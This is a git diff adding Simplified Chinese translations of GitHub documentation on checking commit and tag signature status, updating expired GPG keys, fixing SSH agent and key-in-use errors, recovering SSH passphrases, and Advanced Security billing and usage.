/articles/checking-your-commit-and-tag-signature-verification-status @@ -15,34 +15,34 @@ topics: - Identity - Access management shortTitle: Check verification status +ms.openlocfilehash: 726d292ca2b91b54c9002dc393e6e21f76648889 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '145084593' --- -## Checking your commit signature verification status +## 检查提交签名验证状态 -1. On {% data variables.product.product_name %}, navigate to your pull request. +1. 在 {% data variables.product.product_name %} 上,导航到您的拉取请求。 {% data reusables.repositories.review-pr-commits %} -3. Next to your commit's abbreviated commit hash, there is a box that shows whether your commit signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified. -![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) -4. To view more detailed information about the commit signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. - GPG signed commits will show the ID of the key that was used. - ![Verified GPG signed commit](/assets/images/help/commits/gpg-signed-commit_verified_details.png) -{% ifversion ssh-commit-verification %} - SSH signed commits will show the signature of the public key that was used. - ![Verified SSH signed commit](/assets/images/help/commits/ssh-signed-commit-verified-details.png) -{% endif %} +3. 在提交的缩写提交哈希旁边,有一个框,显示你的提交签名已验证{% ifversion fpt or ghec %}、部分验证{% endif %}或未验证。 +![已签名提交](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) +4. 若要查看有关提交签名的更多详细信息,请单击“已验证”{% ifversion fpt or ghec %}、“部分验证”{% endif %}或“未验证” 。 +![经验证签名提交](/assets/images/help/commits/gpg-signed-commit_verified_details.png) -## Checking your tag signature verification status +## 检查标记签名验证状态 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -2. At the top of the Releases page, click **Tags**. -![Tags page](/assets/images/help/releases/tags-list.png) -3. Next to your tag description, there is a box that shows whether your tag signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified. -![verified tag signature](/assets/images/help/commits/gpg-signed-tag-verified.png) -4. To view more detailed information about the tag signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. -![Verified signed tag](/assets/images/help/commits/gpg-signed-tag-verified-details.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} +2. 在“版本”页面顶部,单击“标记”。 +![标记页面](/assets/images/help/releases/tags-list.png) +3. 在标记说明旁边,有一个框,显示你的标记签名已验证{% ifversion fpt or ghec %}、部分验证{% endif %}或未验证。 +![已验证标记签名](/assets/images/help/commits/gpg-signed-tag-verified.png) +4. 若要查看有关标记签名的更多详细信息,请单击“已验证”{% ifversion fpt or ghec %}、“部分验证”{% endif %}或“未验证” 。 +![已验证签名标记](/assets/images/help/commits/gpg-signed-tag-verified-details.png) -## Further reading +## 延伸阅读 -- "[About commit signature verification](/articles/about-commit-signature-verification)" -- "[Signing commits](/articles/signing-commits)" -- "[Signing tags](/articles/signing-tags)" +- “[关于提交签名验证](/articles/about-commit-signature-verification)” +- “[对提交签名](/articles/signing-commits)” +- [对标记签名](/articles/signing-tags) diff --git a/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key.md b/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key.md new file mode 100644 index 0000000000..8f178fad01 --- /dev/null +++ b/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key.md @@ -0,0 +1,30 @@ +--- +title: 更新过期的 GPG 密钥 +intro: 验证签名时,{% data variables.product.product_name %} 会检查密钥是否已撤销或过期。 如果您的签名密钥已撤销或过期,则 {% data variables.product.product_name %} 无法验证您的签名。 如果您的密钥已撤销,请使用主密钥或未撤销的其他密钥为提交签名。 +redirect_from: +- /articles/updating-an-expired-gpg-key +- /github/authenticating-to-github/updating-an-expired-gpg-key +- /github/authenticating-to-github/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Identity +- Access management +shortTitle: Update expired GPG key +ms.openlocfilehash: daf4f225426ccb67d2fa536afbd9a1f6517e4913 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145084591" +--- +如果密钥已过期,则必须[更新有效期](https://www.gnupg.org/gph/en/manual/c235.html#AEN328)、导出新密钥、删除 GitHub 帐户中已过期的密钥,并[新将密钥上传到 GitHub](/articles/adding-a-new-gpg-key-to-your-github-account/)。 只要密钥满足所有其他验证要求,您以前的提交和标记就会显示为已验证。 + +如果您的密钥无效且您没有在密钥集中使用其他有效的密钥,而是使用一组新凭据生成新的 GPG 密钥,则使用已撤销或过期的密钥进行的提交将仍显示为未验证。 此外,您的新凭据无法重新签名或验证旧提交和标记。 + +## 延伸阅读 + +- [关于提交签名验证](/articles/about-commit-signature-verification) diff --git a/translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md b/translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md index d134f687e9..59faffeffe 100644 --- a/translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md +++ b/translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md @@ -1,6 +1,6 @@ --- -title: 'Error: Agent admitted failure to sign' -intro: 'In rare circumstances, connecting to {% data variables.product.product_name %} via SSH on Linux produces the error `"Agent admitted failure to sign using the key"`. Follow these steps to resolve the problem.' +title: 错误:代理承认没有签署 +intro: '在极少数情况下,通过 Linux 上的 SSH 连接到 {% data variables.product.product_name %} 会产生错误 `"Agent admitted failure to sign using the key"`。 请遵循以下步骤解决此问题。' redirect_from: - /articles/error-agent-admitted-failure-to-sign-using-the-key - /articles/error-agent-admitted-failure-to-sign @@ -14,8 +14,14 @@ versions: topics: - SSH shortTitle: Agent failure to sign +ms.openlocfilehash: eceb783df61b403a6b94b8eda84be62e63aa5ead +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145084579' --- -When trying to SSH into {% data variables.location.product_location %} on a Linux computer, you may see the following message in your terminal: +在 Linux 上尝试将通过 SSH 连接到 {% data variables.product.product_location %} 时,可能在终端上看到以下信息: ```shell $ ssh -vT git@{% data variables.command_line.codeblock %} @@ -25,28 +31,28 @@ $ ssh -vT git@{% data variables.command_line.codeblock %} > Permission denied (publickey). ``` -For more details, see this issue report. +有关详细信息,请参阅此问题报告。 -## Resolution +## 解决方法 -You should be able to fix this error by loading your keys into your SSH agent with `ssh-add`: +通过使用 `ssh-add` 将密钥加载到 SSH 代理,应该能够修复此错误: ```shell # start the ssh-agent in the background $ eval "$(ssh-agent -s)" > Agent pid 59566 $ ssh-add -> Enter passphrase for /home/YOU/.ssh/id_rsa: [tippy tap] -> Identity added: /home/YOU/.ssh/id_rsa (/home/YOU/.ssh/id_rsa) +> Enter passphrase for /home/you/.ssh/id_rsa: [tippy tap] +> Identity added: /home/you/.ssh/id_rsa (/home/you/.ssh/id_rsa) ``` -If your key does not have the default filename (`/.ssh/id_rsa`), you'll have to pass that path to `ssh-add`: +如果密钥没有默认文件名 (`/.ssh/id_rsa`),必须将该路径传递到 `ssh-add`: ```shell # start the ssh-agent in the background $ eval "$(ssh-agent -s)" > Agent pid 59566 $ ssh-add ~/.ssh/my_other_key -> Enter passphrase for /home/YOU/.ssh/my_other_key: [tappity tap tap] -> Identity added: /home/YOU/.ssh/my_other_key (/home/YOU/.ssh/my_other_key) +> Enter passphrase for /home/you/.ssh/my_other_key: [tappity tap tap] +> Identity added: /home/you/.ssh/my_other_key (/home/you/.ssh/my_other_key) ``` diff --git a/translations/zh-CN/content/authentication/troubleshooting-ssh/error-key-already-in-use.md b/translations/zh-CN/content/authentication/troubleshooting-ssh/error-key-already-in-use.md index 315f4701b6..1ab6570c1f 100644 --- a/translations/zh-CN/content/authentication/troubleshooting-ssh/error-key-already-in-use.md +++ b/translations/zh-CN/content/authentication/troubleshooting-ssh/error-key-already-in-use.md @@ -1,6 +1,6 @@ --- -title: 'Error: Key already in use' -intro: 'This error occurs when you try to [add a key](/articles/adding-a-new-ssh-key-to-your-github-account) that''s already been added to another account or repository.' +title: 错误:密钥已被使用 +intro: '尝试添加已添加到其他帐户或存储库的[密钥](/articles/adding-a-new-ssh-key-to-your-github-account)时,会发生此错误。' redirect_from: - /articles/error-key-already-in-use - /github/authenticating-to-github/error-key-already-in-use @@ -12,33 +12,39 @@ versions: ghec: '*' topics: - SSH +ms.openlocfilehash: d202de2efe05951fe829a8198b20831fc15bbd72 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145084576' --- -## Finding where the key has been used +## 查找已使用密钥的位置 -To determine where the key has already been used, open a terminal and type the `ssh` command. Use the `-i` flag to provide the path to the key you want to check: +要确定已使用该密钥的位置,请打开终端并键入 `ssh` 命令。 使用 `-i` 标记提供要检查的密钥的路径: ```shell -$ ssh -T -ai ~/.ssh/id_rsa git@{% data variables.command_line.codeblock %} -# Connect to {% data variables.location.product_location %} using a specific ssh key -> Hi USERNAME! You've successfully authenticated, but GitHub does not +$ ssh -T -ai ~/.ssh/id_rsa git@{% data variables.command_line.codeblock %} +# Connect to {% data variables.product.product_location %} using a specific ssh key +> Hi username! You've successfully authenticated, but GitHub does not > provide shell access. ``` -The *username* in the response is the account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} that the key is currently attached to. If the response looks something like "username/repo", the key has been attached to a repository as a [*deploy key*](/guides/managing-deploy-keys#deploy-keys). +响应中的用户名是 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上密钥当前附加到的帐户。 如果响应类似于“username/repo”,则表示密钥已作为[部署密钥](/guides/managing-deploy-keys#deploy-keys)附加到存储库。 -To force SSH to use only the key provided on the command line, use `-o` to add the `IdentitiesOnly=yes` option: +要强制 SSH 仅使用命令行上提供的密钥,请使用 `-o` 添加 `IdentitiesOnly=yes` 选项: ```shell -$ ssh -v -o "IdentitiesOnly=yes" -i ~/.ssh/id_rsa git@{% data variables.command_line.codeblock %} +$ ssh -v -o "IdentitiesOnly=yes" -i ~/.ssh/id_rsa git@{% data variables.command_line.codeblock %} ``` -## Fixing the issue +## 修复问题 -To resolve the issue, first remove the key from the other account or repository and then [add it to your account](/articles/adding-a-new-ssh-key-to-your-github-account). +为解决此问题,请先从其他帐户或存储库删除该密钥,然后[将其添加到帐户](/articles/adding-a-new-ssh-key-to-your-github-account)。 -If you don't have permissions to transfer the key, and can't contact a user who does, remove the keypair and [generate a brand new one](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). +如果没有传输密钥的权限,请联系有权限的用户,删除密钥对并[生成新的密钥对](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)。 -## Deploy keys +## 部署密钥 -Once a key has been attached to one repository as a deploy key, it cannot be used on another repository. If you're running into this error while setting up deploy keys, see "[Managing deploy keys](/guides/managing-deploy-keys)." +在密钥作为部署密钥附加到一个仓库后,无法再用于另一个仓库。 如果在设置部署密钥时出现此错误,请参阅“[管理部署密钥](/guides/managing-deploy-keys)”。 diff --git a/translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md b/translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md index 2ad05c5ec4..2a513cc924 100644 --- a/translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md +++ b/translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md @@ -1,6 +1,6 @@ --- -title: Recovering your SSH key passphrase -intro: 'If you''ve lost your SSH key passphrase, depending on the operating system you use, you may either recover it or you may need to generate a new SSH key passphrase.' +title: 恢复 SSH 密钥密码 +intro: 如果您丢失 SSH 密钥密码,则根据您使用的操作系统,您可能可以恢复它,也可能需要生成新的 SSH 密钥密码。 redirect_from: - /articles/how-do-i-recover-my-passphrase - /articles/how-do-i-recover-my-ssh-key-passphrase @@ -15,30 +15,36 @@ versions: topics: - SSH shortTitle: Recover SSH key passphrase +ms.openlocfilehash: 28d768e81f3076898c23b2b1668314ae5573ec5c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145084559' --- {% mac %} -If you [configured your SSH passphrase with the macOS keychain](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain), you may be able to recover it. +如果[使用 macOS 密钥链配置 SSH 密码](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain),则能够恢复它。 -1. In Finder, search for the **Keychain Access** app. - ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png) -2. In Keychain Access, search for **SSH**. -3. Double click on the entry for your SSH key to open a new dialog box. -4. In the lower-left corner, select **Show password**. - ![Keychain access dialog](/assets/images/help/setup/keychain_show_password_dialog.png) -5. You'll be prompted for your administrative password. Type it into the "Keychain Access" dialog box. -6. Your password will be revealed. +1. 在 Finder 中,搜索 Keychain Access 应用。 + ![Spotlight 搜索栏](/assets/images/help/setup/keychain-access.png) +2. 在 Keychain Access 中,搜索 SSH。 +3. 双击 SSH 密钥的条目以打开一个新对话框。 +4. 在左下角选择“显示密码”。 + ![“Keychain Access”对话框](/assets/images/help/setup/keychain_show_password_dialog.png) +5. 系统将提示您输入管理密码。 在 "Keychain Access" 对话框中输入该密码。 +6. 此时将显示您的密码。 {% endmac %} {% windows %} -If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories#cloning-with-https-urls) so you can use a {% data variables.product.pat_generic %} instead. +如果您丢失 SSH 密钥密码,则无法进行恢复。 需要[生成全新的 SSH 密钥对](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)或[切换到 HTTPS 克隆](/github/getting-started-with-github/managing-remote-repositories),以便能够改用 GitHub 密码。 {% endwindows %} {% linux %} -If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories#cloning-with-https-urls) so you can use a {% data variables.product.pat_generic %} instead. +如果您丢失 SSH 密钥密码,则无法进行恢复。 需要[生成全新的 SSH 密钥对](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)或[切换到 HTTPS 克隆](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls),以便能够改用 GitHub 密码。 {% endlinux %} diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md b/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md index 972856f9bb..e3f0bb7583 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md +++ b/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md @@ -1,6 +1,6 @@ --- -title: About billing for GitHub Advanced Security -intro: 'If you want to use {% data variables.product.prodname_GH_advanced_security %} features{% ifversion fpt or ghec %} in a private or internal repository{% endif %}, you need a license{% ifversion fpt %} for your enterprise{% endif %}.{% ifversion fpt or ghec %} These features are available free of charge for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}' +title: 关于 GitHub 高级安全的计费 +intro: '如果要在私有或内部存储库中使用 {% data variables.product.prodname_GH_advanced_security %} 功能{% ifversion fpt or ghec %}{% endif %},则需要{% ifversion fpt %}企业{% endif %}的许可证。{% ifversion fpt or ghec %} 这些功能可免费用于 {% data variables.product.prodname_dotcom_the_website %} 上的公共存储库。{% endif %}' product: '{% data reusables.gated-features.ghas %}' redirect_from: - /admin/advanced-security/about-licensing-for-github-advanced-security @@ -17,23 +17,28 @@ topics: - Enterprise - Licensing shortTitle: Advanced Security billing +ms.openlocfilehash: 09e7634b5ab0ace00c847f9db9faf229fc8e840e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066928' --- - -## About billing for {% data variables.product.prodname_GH_advanced_security %} +## 关于 {% data variables.product.prodname_GH_advanced_security %} 的计费 {% ifversion fpt %} -If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license, available with {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}. +如果要在除 {% data variables.product.prodname_dotcom_the_website %} 上的公共存储库之外的任何存储库上使用 {% data variables.product.prodname_GH_advanced_security %} 功能,则需要 {% data variables.product.prodname_GH_advanced_security %} 许可证,该许可证随 {% data variables.product.prodname_ghe_cloud %} 或 {% data variables.product.prodname_ghe_server %} 一起提供。 有关 {% data variables.product.prodname_GH_advanced_security %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)”。 -For information about billing for {% data variables.product.prodname_GH_advanced_security %}, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). +有关 {% data variables.product.prodname_GH_advanced_security %} 的计费的详细信息,请参阅“[{% data variables.product.prodname_ghe_cloud %} 文档](/enterprise-cloud@latest/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)”。 {% elsif ghec %} -If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)." +如果要在除 {% data variables.product.prodname_dotcom_the_website %} 上的公共存储库之外的任何存储库上使用 {% data variables.product.prodname_GH_advanced_security %} 功能,则需要 {% data variables.product.prodname_GH_advanced_security %} 许可证。 有关 {% data variables.product.prodname_GH_advanced_security %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)”。 {% elsif ghes %} -You can make extra features for code security available to users by buying and uploading a license for {% data variables.product.prodname_GH_advanced_security %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)." +您可以通过购买和上传 {% data variables.product.prodname_GH_advanced_security %} 许可为用户提供额外的代码安全功能。 有关 {% data variables.product.prodname_GH_advanced_security %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)”。 {% endif %} @@ -41,13 +46,9 @@ You can make extra features for code security available to users by buying and u {% data reusables.advanced-security.license-overview %} -{% ifversion ghes %} -You can determine how many licenses you'll need for {% data variables.product.prodname_GH_advanced_security %} by generating a count of your instance's active committers in the site admin dashboard. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)." -{% endif %} +要讨论为企业许可 {% data variables.product.prodname_GH_advanced_security %},请联系 {% data variables.contact.contact_enterprise_sales %}。 -To discuss licensing {% data variables.product.prodname_GH_advanced_security %} for your enterprise, contact {% data variables.contact.contact_enterprise_sales %}. - -## About committer numbers for {% data variables.product.prodname_GH_advanced_security %} +## 关于 {% data variables.product.prodname_GH_advanced_security %} 的提交者数量 {% data reusables.advanced-security.about-committer-numbers-ghec-ghes %} @@ -57,33 +58,33 @@ To discuss licensing {% data variables.product.prodname_GH_advanced_security %} {% endif %} -You can enforce policies to allow or disallow the use of {% data variables.product.prodname_advanced_security %} by organizations owned by your enterprise account. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +您可以执行策略以允许或不允许企业帐户拥有的组织使用 {% data variables.product.prodname_advanced_security %}。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[在企业中强制实施 {% data variables.product.prodname_advanced_security %} 的策略]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}{% else %}”。{% endif %} {% ifversion fpt or ghes or ghec %} -For more information on viewing license usage, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)." +有关查看许可证使用情况的详细信息,请参阅“[查看 {% data variables.product.prodname_GH_advanced_security %} 使用情况](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)”。 {% endif %} -## Understanding active committer usage +## 了解活动提交者的使用情况 -The following example timeline demonstrates how active committer count for {% data variables.product.prodname_GH_advanced_security %} could change over time in an enterprise. For each month, you will find events, along with the resulting committer count. +以下示例时间线演示了企业中 {% data variables.product.prodname_GH_advanced_security %} 的活动提交者计数如何随时间变化。 对于每个月,您都会找到事件以及由此产生的提交者计数。 -| Date | Events during the month | Total committers | +| 日期 | 本月活动 | 提交者总数 | | :- | :- | -: | -| April 15 | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Repository **X** has 50 committers over the past 90 days. | **50** | -| May 1 | Developer **A** leaves the team working on repository **X**. Developer **A**'s contributions continue to count for 90 days. | **50** | **50** | -| August 1 | Developer **A**'s contributions no longer count towards the licences required, because 90 days have passed. | _50 - 1_
**49** | -| August 15 | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository **Y**. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo **X** and do not require additional licenses. | _49 + 10_
**59** | -| August 16 | A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Of the 49 developers who were working on repository **X**, 10 still also work on repository **Y**, which has a total of 20 developers contributing in the last 90 days. | _49 - 29_
**20** | +| 4 月 15 日 | 企业成员为存储库“X”启用 {% data variables.product.prodname_GH_advanced_security %}。存储库“X”在过去 90 天内有 50 个提交者。 | **50** | +| 5 月 1 日 | 开发人员“A”离开了开发存储库“X”的团队。开发者“A”的贡献将持续 90 天 。 | **50** | **50** | +| 8 月 1 日 | 开发者“A”的贡献不再计入所需的许可证,因为已超过 90 天。 | _50 - 1_
**49** | +| 8 月 15 日 | 企业成员为第二个存储库(存储库“Y”)启用了 {% data variables.product.prodname_GH_advanced_security %}。在过去的 90 天内,共有 20 名开发人员对该存储库做出了贡献。 在这 20 名开发人员中,有 10 名最近还参与了存储库“X”的开发,不需要额外的许可证。 | _49 + 10_
**59** | +| 8 月 16 日 | 企业成员禁用了存储库“X”的 {% data variables.product.prodname_GH_advanced_security %}。在开发存储库“X”的 49 位开发人员中,有 10 位仍在开发存储库“Y”,在过去 90 天内共有 20 位开发人员参与。 | _49 - 29_
**20** | {% note %} -**Note:** A user will be flagged as active when their commits are pushed to any branch of a repository, even if the commits were authored more than 90 days ago. +注意:当用户的提交被推送到存储库的任何分支时,即使提交是在 90 天以前创作的,用户也会被标记为活动状态。 {% endnote %} -## Getting the most out of {% data variables.product.prodname_GH_advanced_security %} +## 充分利用您的 {% data variables.product.prodname_GH_advanced_security %} {% data reusables.advanced-security.getting-the-most-from-your-license %} diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md b/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md index d2ad2bdba2..16c3c7dac9 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md +++ b/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md @@ -1,6 +1,6 @@ --- -title: Viewing your GitHub Advanced Security usage -intro: 'You can view usage of {% data variables.product.prodname_GH_advanced_security %} for your enterprise.' +title: 查看您的 GitHub 高级安全使用情况 +intro: '您可以查看企业的 {% data variables.product.prodname_GH_advanced_security %} 使用情况。' permissions: 'Enterprise owners can view usage for {% data variables.product.prodname_GH_advanced_security %}.' product: '{% data reusables.gated-features.ghas %}' redirect_from: @@ -18,97 +18,87 @@ topics: - Advanced Security - Enterprise shortTitle: View Advanced Security usage +ms.openlocfilehash: 8647ba2eb00f580256bd3f49ac2218331e45eef3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146180485' --- +## 关于 {% data variables.product.prodname_GH_advanced_security %} 的许可 -## About licenses for {% data variables.product.prodname_GH_advanced_security %} +{% data reusables.advanced-security.about-ghas-license-seats %}有关详细信息,请参阅"[关于 {% data variables.product.prodname_GH_advanced_security %} 计费](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)。” -{% data reusables.advanced-security.about-ghas-license-seats %} For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)." - -{% ifversion ghas-committers-calculator %} -You can calculate how many additional seats will be used if you enable {% data variables.product.prodname_GH_advanced_security %} for more organizations and repositories with the site admin dashboard. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-active-committers)." +{% ifversion ghas-committers-calculator %} 如果使用站点管理仪表板为更多组织和存储库启用 {% data variables.product.prodname_GH_advanced_security %},可计算将要使用的额外席位数。 有关详细信息,请参阅“[站点管理仪表板](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-active-committers)”。 {% endif %} -## Viewing {% data variables.product.prodname_GH_advanced_security %} license usage for your enterprise account +## 查看企业帐户的 {% data variables.product.prodname_GH_advanced_security %} 许可使用情况 -You can check how many seats your license includes and how many of them are currently used. +您可以检查您的许可证包含多少个席位,以及其中多少席位目前在使用。 {% ifversion fpt or ghec %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} - The "{% data variables.product.prodname_GH_advanced_security %}" section shows details of the current usage. - ![{% data variables.product.prodname_GH_advanced_security %} in enterprise licensing settings](/assets/images/help/enterprises/enterprise-licensing-tab-ghas.png) - If you run out of seats, the section will be red and show "Limit exceeded." You should either reduce your use of {% data variables.product.prodname_GH_advanced_security %} or purchase more seats. For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security#getting-the-most-out-of-github-advanced-security)." - ![{% data variables.product.prodname_GH_advanced_security %} in enterprise licensing settings showing "Limit exceeded"](/assets/images/help/enterprises/enterprise-licensing-tab-ghas-no-seats.png) -4. Optionally, to see a detailed breakdown of usage per organization, in the left sidebar, click **Billing**. - ![Billing tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/settings-billing-tab.png) - In the "{% data variables.product.prodname_GH_advanced_security %}" section you can see the number of committers and unique committers for each organization. - ![{% data variables.product.prodname_GH_advanced_security %} in enterprise billing settings](/assets/images/help/billing/ghas-orgs-list-enterprise-dotcom.png) -5. Optionally, click the name of an organization where you are an owner to display the security and analysis settings for the organization. - ![Owned organization in {% data variables.product.prodname_GH_advanced_security %} section of enterprise billing settings](/assets/images/help/billing/ghas-orgs-list-enterprise-click-org.png) -6. On the "Security & analysis" settings page, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section to see a detailed breakdown of usage by repository for this organization. - ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/enterprises/settings-security-analysis-ghas-repos-list.png) - For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %}“{% data variables.product.prodname_GH_advanced_security %}”部分显示当前使用情况的详细信息。 + ![{% data variables.product.prodname_GH_advanced_security %} 在企业许可设置](/assets/images/help/enterprises/enterprise-licensing-tab-ghas.png)中,如果席位不足,则分区将显示为红色,并显示“超出限制。” 您应该减少您对 {% data variables.product.prodname_GH_advanced_security %} 的使用,或者购买更多席位。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %} 计费](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security#getting-the-most-out-of-github-advanced-security)。” + ![企业许可设置中显示“超出限制”的 {% data variables.product.prodname_GH_advanced_security %}](/assets/images/help/enterprises/enterprise-licensing-tab-ghas-no-seats.png) +4. (可选)若要查看每个组织使用情况的明细,请在左侧栏中单击“计费”。 + 